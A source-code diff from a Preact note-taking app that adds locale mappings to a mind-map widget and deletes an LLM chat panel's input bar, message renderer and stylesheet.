import { DARK_THEME, default as VanillaMindElixir, MindElixirData, MindElixirInstance, Operation, THEME as LIGHT_THEME } from "mind-elixir";
import type { LangPack } from "mind-elixir/i18n";
import { DARK_THEME, default as VanillaMindElixir, MindElixirData, MindElixirInstance, Operation, Options, THEME as LIGHT_THEME } from "mind-elixir";
import { HTMLAttributes, RefObject } from "preact";
import { useCallback, useEffect, useRef } from "preact/hooks";
@@ -26,22 +25,27 @@ interface MindElixirProps {
onChange?: () => void;
}
function buildMindElixirLangPack(): LangPack {
return {
addChild: t("mind-map.addChild"),
addParent: t("mind-map.addParent"),
addSibling: t("mind-map.addSibling"),
removeNode: t("mind-map.removeNode"),
focus: t("mind-map.focus"),
cancelFocus: t("mind-map.cancelFocus"),
moveUp: t("mind-map.moveUp"),
moveDown: t("mind-map.moveDown"),
link: t("mind-map.link"),
linkBidirectional: t("mind-map.linkBidirectional"),
clickTips: t("mind-map.clickTips"),
summary: t("mind-map.summary")
};
}
const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, Options["locale"] | null> = {
ar: null,
cn: "zh_CN",
de: null,
en: "en",
en_rtl: "en",
"en-GB": "en",
es: "es",
fr: "fr",
ga: null,
it: "it",
hi: null,
ja: "ja",
pt: "pt",
pl: null,
pt_br: "pt",
ro: "ro",
ru: "ru",
tw: "zh_TW",
uk: null
};
export default function MindMap({ note, ntxId, noteContext }: TypeWidgetProps) {
const apiRef = useRef<MindElixirInstance>(null);
@@ -157,8 +161,8 @@ function MindElixir({ containerRef: externalContainerRef, containerProps, apiRef
const mind = new VanillaMindElixir({
el: containerRef.current,
locale: LOCALE_MAPPINGS[locale as DISPLAYABLE_LOCALE_IDS] ?? undefined,
editable,
contextMenu: { locale: buildMindElixirLangPack() },
theme: defaultColorScheme.current === "dark" ? DARK_THEME : LIGHT_THEME
});

View File

@@ -1,238 +0,0 @@
import type { RefObject } from "preact";
import { useState, useCallback } from "preact/hooks";
import { t } from "../../../services/i18n.js";
import ActionButton from "../../react/ActionButton.js";
import Button from "../../react/Button.js";
import Dropdown from "../../react/Dropdown.js";
import { FormDropdownDivider, FormDropdownSubmenu, FormListItem, FormListToggleableItem } from "../../react/FormList.js";
import type { UseLlmChatReturn } from "./useLlmChat.js";
import AddProviderModal, { type LlmProviderConfig } from "../options/llm/AddProviderModal.js";
import options from "../../../services/options.js";
/** Format token count with thousands separators */
function formatTokenCount(tokens: number): string {
return tokens.toLocaleString();
}
interface ChatInputBarProps {
/** The chat hook result */
chat: UseLlmChatReturn;
/** Number of rows for the textarea (default: 3) */
rows?: number;
/** Current active note ID (for note context toggle) */
activeNoteId?: string;
/** Current active note title (for note context toggle) */
activeNoteTitle?: string;
/** Custom submit handler (overrides chat.handleSubmit) */
onSubmit?: (e: Event) => void;
/** Custom key down handler (overrides chat.handleKeyDown) */
onKeyDown?: (e: KeyboardEvent) => void;
/** Callback when web search toggle changes */
onWebSearchChange?: () => void;
/** Callback when note tools toggle changes */
onNoteToolsChange?: () => void;
/** Callback when extended thinking toggle changes */
onExtendedThinkingChange?: () => void;
/** Callback when model changes */
onModelChange?: (model: string) => void;
}
export default function ChatInputBar({
chat,
rows = 3,
activeNoteId,
activeNoteTitle,
onSubmit,
onKeyDown,
onWebSearchChange,
onNoteToolsChange,
onExtendedThinkingChange,
onModelChange
}: ChatInputBarProps) {
const [showAddProviderModal, setShowAddProviderModal] = useState(false);
const handleSubmit = onSubmit ?? chat.handleSubmit;
const handleKeyDown = onKeyDown ?? chat.handleKeyDown;
const handleWebSearchToggle = (newValue: boolean) => {
chat.setEnableWebSearch(newValue);
onWebSearchChange?.();
};
const handleNoteToolsToggle = (newValue: boolean) => {
chat.setEnableNoteTools(newValue);
onNoteToolsChange?.();
};
const handleExtendedThinkingToggle = (newValue: boolean) => {
chat.setEnableExtendedThinking(newValue);
onExtendedThinkingChange?.();
};
const handleModelSelect = (model: string) => {
chat.setSelectedModel(model);
onModelChange?.(model);
};
const handleNoteContextToggle = () => {
if (chat.contextNoteId) {
chat.setContextNoteId(undefined);
} else if (activeNoteId) {
chat.setContextNoteId(activeNoteId);
}
};
const handleAddProvider = useCallback(async (provider: LlmProviderConfig) => {
// Get current providers and add the new one
const currentProviders = options.getJson("llmProviders") || [];
const newProviders = [...currentProviders, provider];
await options.save("llmProviders", JSON.stringify(newProviders));
// Refresh models to pick up the new provider
chat.refreshModels();
}, [chat]);
const isNoteContextEnabled = !!chat.contextNoteId && !!activeNoteId;
const currentModel = chat.availableModels.find(m => m.id === chat.selectedModel);
const currentModels = chat.availableModels.filter(m => !m.isLegacy);
const legacyModels = chat.availableModels.filter(m => m.isLegacy);
const contextWindow = currentModel?.contextWindow || 200000;
const percentage = Math.min((chat.lastPromptTokens / contextWindow) * 100, 100);
const isWarning = percentage > 75;
const isCritical = percentage > 90;
const pieColor = isCritical ? "var(--danger-color, #d9534f)" : isWarning ? "var(--warning-color, #f0ad4e)" : "var(--main-selection-color, #007bff)";
// Show setup prompt if no provider is configured
if (!chat.isCheckingProvider && !chat.hasProvider) {
return (
<div className="llm-chat-no-provider">
<div className="llm-chat-no-provider-content">
<span className="bx bx-bot llm-chat-no-provider-icon" />
<p>{t("llm_chat.no_provider_message")}</p>
<Button
text={t("llm_chat.add_provider")}
icon="bx bx-plus"
onClick={() => setShowAddProviderModal(true)}
/>
</div>
<AddProviderModal
show={showAddProviderModal}
onHidden={() => setShowAddProviderModal(false)}
onSave={handleAddProvider}
/>
</div>
);
}
return (
<form className="llm-chat-input-form" onSubmit={handleSubmit}>
<textarea
ref={chat.textareaRef as RefObject<HTMLTextAreaElement>}
className="llm-chat-input"
value={chat.input}
onInput={(e) => chat.setInput((e.target as HTMLTextAreaElement).value)}
placeholder={t("llm_chat.placeholder")}
disabled={chat.isStreaming}
onKeyDown={handleKeyDown}
rows={rows}
/>
<div className="llm-chat-options">
<div className="llm-chat-model-selector">
<span className="bx bx-chip" />
<Dropdown
text={<>{currentModel?.name}</>}
disabled={chat.isStreaming}
buttonClassName="llm-chat-model-select"
>
{currentModels.map(model => (
<FormListItem
key={model.id}
onClick={() => handleModelSelect(model.id)}
checked={chat.selectedModel === model.id}
>
{model.name} <small>({model.costDescription})</small>
</FormListItem>
))}
{legacyModels.length > 0 && (
<>
<FormDropdownDivider />
<FormDropdownSubmenu
icon="bx bx-history"
title={t("llm_chat.legacy_models")}
>
{legacyModels.map(model => (
<FormListItem
key={model.id}
onClick={() => handleModelSelect(model.id)}
checked={chat.selectedModel === model.id}
>
{model.name} <small>({model.costDescription})</small>
</FormListItem>
))}
</FormDropdownSubmenu>
</>
)}
<FormDropdownDivider />
<FormListToggleableItem
icon="bx bx-globe"
title={t("llm_chat.web_search")}
currentValue={chat.enableWebSearch}
onChange={handleWebSearchToggle}
disabled={chat.isStreaming}
/>
<FormListToggleableItem
icon="bx bx-note"
title={t("llm_chat.note_tools")}
currentValue={chat.enableNoteTools}
onChange={handleNoteToolsToggle}
disabled={chat.isStreaming}
/>
<FormListToggleableItem
icon="bx bx-brain"
title={t("llm_chat.extended_thinking")}
currentValue={chat.enableExtendedThinking}
onChange={handleExtendedThinkingToggle}
disabled={chat.isStreaming}
/>
</Dropdown>
{activeNoteId && activeNoteTitle && (
<Button
text={activeNoteTitle}
icon={isNoteContextEnabled ? "bx-file" : "bx-hide"}
kind="lowProfile"
size="micro"
className={`llm-chat-note-context ${isNoteContextEnabled ? "active" : ""}`}
onClick={handleNoteContextToggle}
disabled={chat.isStreaming}
title={isNoteContextEnabled
? t("llm_chat.note_context_enabled", { title: activeNoteTitle })
: t("llm_chat.note_context_disabled")}
/>
)}
{chat.lastPromptTokens > 0 && (
<div
className="llm-chat-context-indicator"
title={`${formatTokenCount(chat.lastPromptTokens)} / ${formatTokenCount(contextWindow)} ${t("llm_chat.tokens")}`}
>
<div
className="llm-chat-context-pie"
style={{
background: `conic-gradient(${pieColor} ${percentage}%, var(--accented-background-color) ${percentage}%)`
}}
/>
<span className="llm-chat-context-text">{t("llm_chat.context_used", { percentage: percentage.toFixed(0) })}</span>
</div>
)}
</div>
<ActionButton
icon={chat.isStreaming ? "bx bx-loader-alt bx-spin" : "bx bx-send"}
text={chat.isStreaming ? t("llm_chat.sending") : t("llm_chat.send")}
onClick={handleSubmit}
disabled={chat.isStreaming || !chat.input.trim()}
className="llm-chat-send-btn"
/>
</div>
</form>
);
}

View File

@@ -1,315 +0,0 @@
import "./LlmChat.css";
import { Marked } from "marked";
import { useMemo } from "preact/hooks";
import { Trans } from "react-i18next";
import { t } from "../../../services/i18n.js";
import utils from "../../../services/utils.js";
import { NewNoteLink } from "../../react/NoteLink.js";
import { SanitizedHtml } from "../../react/RawHtml.js";
import { type ContentBlock, getMessageText, type StoredMessage, type ToolCall } from "./llm_chat_types.js";
function shortenNumber(n: number): string {
if (n >= 1_000_000) return `${(n / 1_000_000).toFixed(1)}M`;
if (n >= 1_000) return `${(n / 1_000).toFixed(n >= 10_000 ? 0 : 1)}k`;
return n.toString();
}
// Configure marked for safe rendering
const markedInstance = new Marked({
breaks: true, // Convert \n to <br>
gfm: true // GitHub Flavored Markdown
});
/** Parse markdown to HTML. Sanitization is handled by SanitizedHtml. */
function renderMarkdown(markdown: string): string {
return markedInstance.parse(markdown) as string;
}
interface Props {
message: StoredMessage;
isStreaming?: boolean;
}
interface ToolCallContext {
/** The primary note the tool operates on or created. */
noteId: string | null;
/** The parent note, shown as "in <parent>" for creation tools. */
parentNoteId: string | null;
/** Plain-text detail (e.g. skill name, search query) when no note ref is available. */
detailText: string | null;
}
/** Try to extract a noteId from the tool call's result JSON. */
function parseResultNoteId(toolCall: ToolCall): string | null {
if (!toolCall.result) return null;
try {
const result = typeof toolCall.result === "string"
? JSON.parse(toolCall.result)
: toolCall.result;
return result?.noteId || null;
} catch {
return null;
}
}
/** Extract contextual info from a tool call for display in the summary. */
function getToolCallContext(toolCall: ToolCall): ToolCallContext {
const input = toolCall.input;
const parentNoteId = (input?.parentNoteId as string) || null;
// For creation tools, the created note ID is in the result.
if (parentNoteId) {
const createdNoteId = parseResultNoteId(toolCall);
if (createdNoteId) {
return { noteId: createdNoteId, parentNoteId, detailText: null };
}
}
const noteId = (input?.noteId as string) || parentNoteId || parseResultNoteId(toolCall);
if (noteId) {
return { noteId, parentNoteId: null, detailText: null };
}
const detailText = (input?.name ?? input?.query) as string | undefined;
return { noteId: null, parentNoteId: null, detailText: detailText || null };
}
function toolCallIcon(toolCall: ToolCall): string {
if (toolCall.isError) return "bx bx-error-circle";
if (toolCall.result) return "bx bx-check";
return "bx bx-loader-alt bx-spin";
}
function ToolCallCard({ toolCall }: { toolCall: ToolCall }) {
const classes = [
"llm-chat-tool-call-inline",
toolCall.isError && "llm-chat-tool-call-error"
].filter(Boolean).join(" ");
const { noteId: refNoteId, parentNoteId: refParentId, detailText } = getToolCallContext(toolCall);
return (
<details className={classes}>
<summary className="llm-chat-tool-call-inline-summary">
<span className={toolCallIcon(toolCall)} />
{t(`llm.tools.${toolCall.toolName}`, { defaultValue: toolCall.toolName })}
{detailText && (
<span className="llm-chat-tool-call-detail">{detailText}</span>
)}
{refNoteId && (
<span className="llm-chat-tool-call-note-ref">
{refParentId ? (
<Trans
i18nKey="llm.tools.note_in_parent"
components={{
Note: <NewNoteLink notePath={refNoteId} showNoteIcon noPreview />,
Parent: <NewNoteLink notePath={refParentId} showNoteIcon noPreview />
} as any}
/>
) : (
<NewNoteLink notePath={refNoteId} showNoteIcon noPreview />
)}
</span>
)}
{toolCall.isError && <span className="llm-chat-tool-call-error-badge">{t("llm_chat.tool_error")}</span>}
</summary>
<div className="llm-chat-tool-call-inline-body">
<div className="llm-chat-tool-call-input">
<strong>{t("llm_chat.input")}:</strong>
<pre>{JSON.stringify(toolCall.input, null, 2)}</pre>
</div>
{toolCall.result && (
<div className={`llm-chat-tool-call-result ${toolCall.isError ? "llm-chat-tool-call-result-error" : ""}`}>
<strong>{toolCall.isError ? t("llm_chat.error") : t("llm_chat.result")}:</strong>
<pre>{(() => {
if (typeof toolCall.result === "string" && (toolCall.result.startsWith("{") || toolCall.result.startsWith("["))) {
try {
return JSON.stringify(JSON.parse(toolCall.result), null, 2);
} catch {
return toolCall.result;
}
}
return toolCall.result;
})()}</pre>
</div>
)}
</div>
</details>
);
}
function renderContentBlocks(blocks: ContentBlock[], isStreaming?: boolean) {
return blocks.map((block, idx) => {
if (block.type === "text") {
const html = renderMarkdown(block.content);
return (
<div key={idx}>
<SanitizedHtml className="llm-chat-markdown" html={html} />
{isStreaming && idx === blocks.length - 1 && <span className="llm-chat-cursor" />}
</div>
);
}
if (block.type === "tool_call") {
return <ToolCallCard key={idx} toolCall={block.toolCall} />;
}
return null;
});
}
export default function ChatMessage({ message, isStreaming }: Props) {
const roleLabel = message.role === "user" ? t("llm_chat.role_user") : t("llm_chat.role_assistant");
const isError = message.type === "error";
const isThinking = message.type === "thinking";
const textContent = typeof message.content === "string" ? message.content : getMessageText(message.content);
// Render markdown for assistant messages with legacy string content
const renderedContent = useMemo(() => {
if (message.role === "assistant" && !isError && !isThinking && typeof message.content === "string") {
return renderMarkdown(message.content);
}
return null;
}, [message.content, message.role, isError, isThinking]);
const messageClasses = [
"llm-chat-message",
`llm-chat-message-${message.role}`,
isError && "llm-chat-message-error",
isThinking && "llm-chat-message-thinking"
].filter(Boolean).join(" ");
// Render thinking messages in a collapsible details element
if (isThinking) {
return (
<details className={messageClasses}>
<summary className="llm-chat-thinking-summary">
<span className="bx bx-brain" />
{t("llm_chat.thought_process")}
</summary>
<div className="llm-chat-message-content llm-chat-thinking-content">
{textContent}
{isStreaming && <span className="llm-chat-cursor" />}
</div>
</details>
);
}
// Legacy tool calls (from old format stored as separate field)
const legacyToolCalls = message.toolCalls;
const hasBlockContent = Array.isArray(message.content);
return (
<div className={`llm-chat-message-wrapper llm-chat-message-wrapper-${message.role}`}>
<div className={messageClasses}>
<div className="llm-chat-message-role">
{isError ? "Error" : roleLabel}
</div>
<div className="llm-chat-message-content">
{message.role === "assistant" && !isError ? (
hasBlockContent ? (
renderContentBlocks(message.content as ContentBlock[], isStreaming)
) : (
<>
<SanitizedHtml className="llm-chat-markdown" html={renderedContent || ""} />
{isStreaming && <span className="llm-chat-cursor" />}
</>
)
) : (
textContent
)}
</div>
{legacyToolCalls && legacyToolCalls.length > 0 && (
<details className="llm-chat-tool-calls">
<summary className="llm-chat-tool-calls-summary">
<span className="bx bx-wrench" />
{t("llm_chat.tool_calls", { count: legacyToolCalls.length })}
</summary>
<div className="llm-chat-tool-calls-list">
{legacyToolCalls.map((tool) => (
<ToolCallCard key={tool.id} toolCall={tool} />
))}
</div>
</details>
)}
{message.citations && message.citations.length > 0 && (
<div className="llm-chat-citations">
<div className="llm-chat-citations-label">
<span className="bx bx-link" />
{t("llm_chat.sources")}
</div>
<ul className="llm-chat-citations-list">
{message.citations.map((citation, idx) => {
// Determine display text: title, URL hostname, or cited text
let displayText = citation.title;
if (!displayText && citation.url) {
try {
displayText = new URL(citation.url).hostname;
} catch {
displayText = citation.url;
}
}
if (!displayText) {
displayText = citation.citedText?.slice(0, 50) || `Source ${idx + 1}`;
}
return (
<li key={idx}>
{citation.url ? (
<a
href={citation.url}
target="_blank"
rel="noopener noreferrer"
title={citation.citedText || citation.url}
>
{displayText}
</a>
) : (
<span title={citation.citedText}>
{displayText}
</span>
)}
</li>
);
})}
</ul>
</div>
)}
</div>
<div className={`llm-chat-footer llm-chat-footer-${message.role}`}>
<span
className="llm-chat-footer-time"
title={utils.formatDateTime(new Date(message.createdAt))}
>
{utils.formatTime(new Date(message.createdAt))}
</span>
{message.usage && typeof message.usage.promptTokens === "number" && (
<>
{message.usage.model && (
<>
<span className="llm-chat-usage-separator">·</span>
<span className="llm-chat-usage-model">{message.usage.model}</span>
</>
)}
<span className="llm-chat-usage-separator">·</span>
<span
className="llm-chat-usage-tokens"
title={t("llm_chat.tokens_detail", {
prompt: message.usage.promptTokens.toLocaleString(),
completion: message.usage.completionTokens.toLocaleString()
})}
>
<span className="bx bx-chip" />{" "}
{t("llm_chat.total_tokens", { total: shortenNumber(message.usage.totalTokens) })}
</span>
{message.usage.cost != null && (
<>
<span className="llm-chat-usage-separator">·</span>
<span className="llm-chat-usage-cost">~${message.usage.cost.toFixed(4)}</span>
</>
)}
</>
)}
</div>
</div>
);
}

View File

@@ -1,737 +0,0 @@
.llm-chat-container {
display: flex;
flex-direction: column;
height: 100%;
padding: 1rem;
box-sizing: border-box;
}
.llm-chat-messages {
flex: 1;
overflow-y: auto;
padding-bottom: 1rem;
}
.llm-chat-message-wrapper {
position: relative;
margin-top: 1rem;
padding-bottom: 1.25rem;
max-width: 85%;
}
.llm-chat-message-wrapper:first-child {
margin-top: 0;
}
.llm-chat-message-wrapper-user {
margin-left: auto;
}
.llm-chat-message-wrapper-assistant {
margin-right: auto;
}
/* Show footer only on hover */
.llm-chat-message-wrapper:hover .llm-chat-footer {
opacity: 1;
}
.llm-chat-message {
padding: 0.75rem 1rem;
border-radius: 8px;
user-select: text;
}
.llm-chat-message-user {
background: var(--accented-background-color);
}
.llm-chat-message-assistant {
background: var(--main-background-color);
border: 1px solid var(--main-border-color);
}
.llm-chat-message-role {
font-weight: 600;
margin-bottom: 0.25rem;
font-size: 0.8rem;
color: var(--muted-text-color);
}
.llm-chat-message-content {
word-wrap: break-word;
line-height: 1.5;
}
/* Preserve whitespace only for user messages (plain text) */
.llm-chat-message-user .llm-chat-message-content {
white-space: pre-wrap;
}
.llm-chat-cursor {
display: inline-block;
width: 8px;
height: 1.1em;
background: currentColor;
margin-left: 2px;
vertical-align: text-bottom;
animation: llm-chat-blink 1s infinite;
}
@keyframes llm-chat-blink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
/* Tool activity indicator */
.llm-chat-tool-activity {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.5rem 1rem;
margin-bottom: 1rem;
border-radius: 8px;
background: var(--accented-background-color);
color: var(--muted-text-color);
font-size: 0.9rem;
max-width: 85%;
}
.llm-chat-tool-spinner {
width: 16px;
height: 16px;
border: 2px solid var(--muted-text-color);
border-top-color: transparent;
border-radius: 50%;
animation: llm-chat-spin 0.8s linear infinite;
}
@keyframes llm-chat-spin {
to { transform: rotate(360deg); }
}
/* Citations */
.llm-chat-citations {
margin-top: 0.75rem;
padding-top: 0.75rem;
border-top: 1px solid var(--main-border-color);
}
.llm-chat-citations-label {
display: flex;
align-items: center;
gap: 0.25rem;
font-size: 0.8rem;
font-weight: 600;
color: var(--muted-text-color);
margin-bottom: 0.25rem;
}
.llm-chat-citations-list {
margin: 0;
padding: 0;
list-style: none;
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
}
.llm-chat-citations-list li {
font-size: 0.8rem;
}
.llm-chat-citations-list a {
color: var(--link-color, #007bff);
text-decoration: none;
padding: 0.125rem 0.5rem;
background: var(--accented-background-color);
border-radius: 4px;
display: inline-block;
}
.llm-chat-citations-list a:hover {
text-decoration: underline;
}
/* Error */
.llm-chat-error {
padding: 0.75rem 1rem;
margin-bottom: 1rem;
border-radius: 8px;
background: var(--danger-background-color, #fee);
border: 1px solid var(--danger-border-color, #fcc);
color: var(--danger-text-color, #c00);
user-select: text;
}
/* Error message (persisted in conversation) */
.llm-chat-message-error {
background: var(--danger-background-color, #fee);
border: 1px solid var(--danger-border-color, #fcc);
color: var(--danger-text-color, #c00);
}
.llm-chat-message-error .llm-chat-message-role {
color: var(--danger-text-color, #c00);
}
/* Thinking message (collapsible) */
.llm-chat-message-thinking {
background: var(--accented-background-color);
border: 1px dashed var(--main-border-color);
cursor: pointer;
}
.llm-chat-thinking-summary {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.85rem;
font-weight: 500;
color: var(--muted-text-color);
padding: 0.25rem 0;
list-style: none;
}
.llm-chat-thinking-summary::-webkit-details-marker {
display: none;
}
.llm-chat-thinking-summary::before {
content: "▶";
font-size: 0.7em;
transition: transform 0.2s ease;
}
.llm-chat-message-thinking[open] .llm-chat-thinking-summary::before {
transform: rotate(90deg);
}
.llm-chat-thinking-summary .bx {
font-size: 1rem;
}
.llm-chat-thinking-content {
margin-top: 0.5rem;
padding-top: 0.5rem;
border-top: 1px solid var(--main-border-color);
font-size: 0.9rem;
color: var(--muted-text-color);
white-space: pre-wrap;
}
/* Input form */
.llm-chat-input-form {
display: flex;
flex-direction: column;
gap: 0.5rem;
padding-top: 1rem;
border-top: 1px solid var(--main-border-color);
}
.llm-chat-input {
flex: 1;
min-height: 60px;
max-height: 200px;
resize: vertical;
padding: 0.75rem;
border: 1px solid var(--main-border-color);
border-radius: 8px;
font-family: inherit;
font-size: inherit;
background: var(--main-background-color);
color: var(--main-text-color);
}
.llm-chat-input:focus {
outline: none;
border-color: var(--main-selection-color);
box-shadow: 0 0 0 2px var(--main-selection-color-soft, rgba(0, 123, 255, 0.25));
}
.llm-chat-input:disabled {
opacity: 0.6;
cursor: not-allowed;
}
/* Options row */
.llm-chat-options {
display: flex;
align-items: center;
gap: 0.75rem;
}
.llm-chat-send-btn {
margin-left: auto;
font-size: 1.25rem;
}
.llm-chat-send-btn.disabled {
opacity: 0.4;
}
/* Model selector */
.llm-chat-model-selector {
display: flex;
align-items: center;
gap: 0.375rem;
font-size: 0.85rem;
color: var(--muted-text-color);
}
.llm-chat-model-selector .bx {
font-size: 1rem;
}
.llm-chat-model-selector .dropdown {
display: flex;
small {
margin-left: 0.5em;
color: var(--muted-text-color);
}
/* Position legacy models submenu to open upward */
.dropdown-submenu .dropdown-menu {
bottom: 0;
top: auto;
}
}
.llm-chat-model-select.select-button {
padding: 0.25rem 0.5rem;
border: 1px solid var(--main-border-color);
border-radius: 4px;
background: var(--main-background-color);
color: var(--main-text-color);
font-family: inherit;
font-size: 0.85rem;
cursor: pointer;
min-width: 140px;
text-align: left;
}
.llm-chat-model-select.select-button:focus {
outline: none;
border-color: var(--main-selection-color);
}
.llm-chat-model-select.select-button:disabled {
opacity: 0.5;
cursor: not-allowed;
}
/* Note context toggle */
.llm-chat-note-context.tn-low-profile {
max-width: 150px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
opacity: 0.5;
background: none;
border: none;
}
.llm-chat-note-context.tn-low-profile:hover:not(:disabled) {
opacity: 0.8;
background: none;
}
.llm-chat-note-context.tn-low-profile.active {
opacity: 1;
}
/* Markdown styles */
.llm-chat-markdown {
line-height: 1.6;
}
.llm-chat-markdown p {
margin: 0 0 0.75em 0;
}
.llm-chat-markdown p:last-child {
margin-bottom: 0;
}
.llm-chat-markdown h1,
.llm-chat-markdown h2,
.llm-chat-markdown h3,
.llm-chat-markdown h4,
.llm-chat-markdown h5,
.llm-chat-markdown h6 {
margin: 1em 0 0.5em 0;
font-weight: 600;
line-height: 1.3;
}
.llm-chat-markdown h1:first-child,
.llm-chat-markdown h2:first-child,
.llm-chat-markdown h3:first-child {
margin-top: 0;
}
.llm-chat-markdown h1 { font-size: 1.4em; }
.llm-chat-markdown h2 { font-size: 1.25em; }
.llm-chat-markdown h3 { font-size: 1.1em; }
.llm-chat-markdown ul,
.llm-chat-markdown ol {
margin: 0.5em 0;
padding-left: 1.5em;
}
.llm-chat-markdown li {
margin: 0.25em 0;
}
.llm-chat-markdown code {
background: var(--accented-background-color);
padding: 0.15em 0.4em;
border-radius: 4px;
font-family: var(--monospace-font-family, monospace);
font-size: 0.9em;
}
.llm-chat-markdown pre {
background: var(--accented-background-color);
padding: 0.75em 1em;
border-radius: 6px;
overflow-x: auto;
margin: 0.75em 0;
}
.llm-chat-markdown pre code {
background: none;
padding: 0;
font-size: 0.85em;
}
.llm-chat-markdown blockquote {
margin: 0.75em 0;
padding: 0.5em 1em;
border-left: 3px solid var(--main-border-color);
background: var(--accented-background-color);
}
.llm-chat-markdown blockquote p {
margin: 0;
}
.llm-chat-markdown a {
color: var(--link-color, #007bff);
text-decoration: none;
}
.llm-chat-markdown a:hover {
text-decoration: underline;
}
.llm-chat-markdown hr {
border: none;
border-top: 1px solid var(--main-border-color);
margin: 1em 0;
}
.llm-chat-markdown table {
border-collapse: collapse;
width: 100%;
margin: 0.75em 0;
}
.llm-chat-markdown th,
.llm-chat-markdown td {
border: 1px solid var(--main-border-color);
padding: 0.5em 0.75em;
text-align: left;
}
.llm-chat-markdown th {
background: var(--accented-background-color);
font-weight: 600;
}
.llm-chat-markdown strong {
font-weight: 600;
}
.llm-chat-markdown em {
font-style: italic;
}
/* Tool calls display */
.llm-chat-tool-calls {
margin-top: 0.75rem;
padding-top: 0.75rem;
border-top: 1px solid var(--main-border-color);
}
.llm-chat-tool-calls-summary {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.85rem;
font-weight: 500;
color: var(--muted-text-color);
padding: 0.25rem 0;
cursor: pointer;
list-style: none;
}
.llm-chat-tool-calls-summary::-webkit-details-marker {
display: none;
}
.llm-chat-tool-calls-summary::before {
content: "▶";
font-size: 0.7em;
transition: transform 0.2s ease;
}
.llm-chat-tool-calls[open] .llm-chat-tool-calls-summary::before {
transform: rotate(90deg);
}
.llm-chat-tool-calls-summary .bx {
font-size: 1rem;
}
.llm-chat-tool-calls-list {
margin-top: 0.5rem;
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.llm-chat-tool-call {
background: var(--accented-background-color);
border-radius: 6px;
padding: 0.75rem;
font-size: 0.85rem;
}
.llm-chat-tool-call-name {
font-weight: 600;
margin-bottom: 0.5rem;
color: var(--main-text-color);
}
.llm-chat-tool-call-input,
.llm-chat-tool-call-result {
margin-top: 0.5rem;
}
.llm-chat-tool-call-input strong,
.llm-chat-tool-call-result strong {
display: block;
font-size: 0.75rem;
color: var(--muted-text-color);
margin-bottom: 0.25rem;
}
.llm-chat-tool-call pre {
margin: 0;
padding: 0.5rem;
background: var(--main-background-color);
border-radius: 4px;
overflow-x: auto;
font-size: 0.8rem;
font-family: var(--monospace-font-family, monospace);
max-height: 200px;
overflow-y: auto;
}
/* Inline tool call cards */
.llm-chat-tool-call-inline {
margin: 0.5rem 0;
border: 1px solid var(--main-border-color);
border-radius: 8px;
font-size: 0.85rem;
}
.llm-chat-tool-call-inline-summary {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.25rem;
padding: 0.5rem 0.75rem;
cursor: pointer;
list-style: none;
font-weight: 500;
color: var(--muted-text-color);
}
.llm-chat-tool-call-inline-summary::-webkit-details-marker {
display: none;
}
.llm-chat-tool-call-inline-summary::after {
content: "▾";
margin-left: auto;
font-size: 1em;
transition: transform 0.2s ease;
}
.llm-chat-tool-call-inline[open] .llm-chat-tool-call-inline-summary::after {
transform: rotate(180deg);
}
.llm-chat-tool-call-inline-summary > .bx {
font-size: 1rem;
margin-right: 0.15rem;
}
.llm-chat-tool-call-detail,
.llm-chat-tool-call-note-ref {
font-weight: 400;
color: var(--main-text-color);
}
.llm-chat-tool-call-detail::before,
.llm-chat-tool-call-note-ref::before {
content: "—";
margin-right: 0.35rem;
color: var(--muted-text-color);
}
.llm-chat-tool-call-inline-body {
padding: 0 0.75rem 0.75rem;
}
.llm-chat-tool-call-inline-body pre {
margin: 0;
padding: 0.5rem;
background: var(--main-background-color);
border-radius: 4px;
overflow-x: auto;
font-size: 0.8rem;
font-family: var(--monospace-font-family, monospace);
max-height: 200px;
overflow-y: auto;
}
.llm-chat-tool-call-inline-body strong {
display: block;
font-size: 0.75rem;
color: var(--muted-text-color);
margin-bottom: 0.25rem;
}
.llm-chat-tool-call-inline-body .llm-chat-tool-call-result {
margin-top: 0.5rem;
}
/* Tool call error styling */
.llm-chat-tool-call-error {
border-color: var(--danger-color, #dc3545);
}
.llm-chat-tool-call-error .llm-chat-tool-call-inline-summary {
color: var(--danger-color, #dc3545);
}
.llm-chat-tool-call-error-badge {
font-size: 0.75rem;
font-weight: 400;
color: var(--danger-color, #dc3545);
opacity: 0.8;
}
.llm-chat-tool-call-result-error pre {
color: var(--danger-color, #dc3545);
}
/* Message footer (timestamp + token usage, sits below the bubble) */
.llm-chat-footer {
position: absolute;
bottom: 0;
left: 0;
right: 0;
display: flex;
align-items: center;
gap: 0.375rem;
padding: 0.125rem 0.5rem;
font-size: 0.7rem;
color: var(--muted-text-color);
cursor: default;
opacity: 0;
transition: opacity 0.15s ease;
}
.llm-chat-footer-user {
justify-content: flex-end;
}
.llm-chat-footer .bx {
font-size: 0.875rem;
}
.llm-chat-footer-time {
cursor: help;
}
.llm-chat-usage-model {
font-weight: 500;
}
.llm-chat-usage-separator {
opacity: 0.5;
}
.llm-chat-usage-tokens {
cursor: help;
font-family: var(--monospace-font-family, monospace);
}
.llm-chat-usage-cost {
font-family: var(--monospace-font-family, monospace);
}
/* Context window indicator */
.llm-chat-context-indicator {
display: flex;
align-items: center;
gap: 0.375rem;
margin-left: 0.5rem;
cursor: help;
}
.llm-chat-context-pie {
width: 14px;
height: 14px;
border-radius: 50%;
flex-shrink: 0;
}
.llm-chat-context-text {
font-size: 0.75rem;
color: var(--muted-text-color);
}
/* No provider state */
.llm-chat-no-provider {
display: flex;
align-items: center;
justify-content: center;
padding: 1rem;
border-top: 1px solid var(--main-border-color);
}
.llm-chat-no-provider-content {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.75rem;
text-align: center;
color: var(--muted-text-color);
}
.llm-chat-no-provider-icon {
font-size: 2rem;
opacity: 0.5;
}
.llm-chat-no-provider-content p {
margin: 0;
font-size: 0.9rem;
}

View File

@@ -1,109 +0,0 @@
import "./LlmChat.css";
import { useCallback, useEffect, useRef } from "preact/hooks";
import { t } from "../../../services/i18n.js";
import { useEditorSpacedUpdate } from "../../react/hooks.js";
import NoItems from "../../react/NoItems.js";
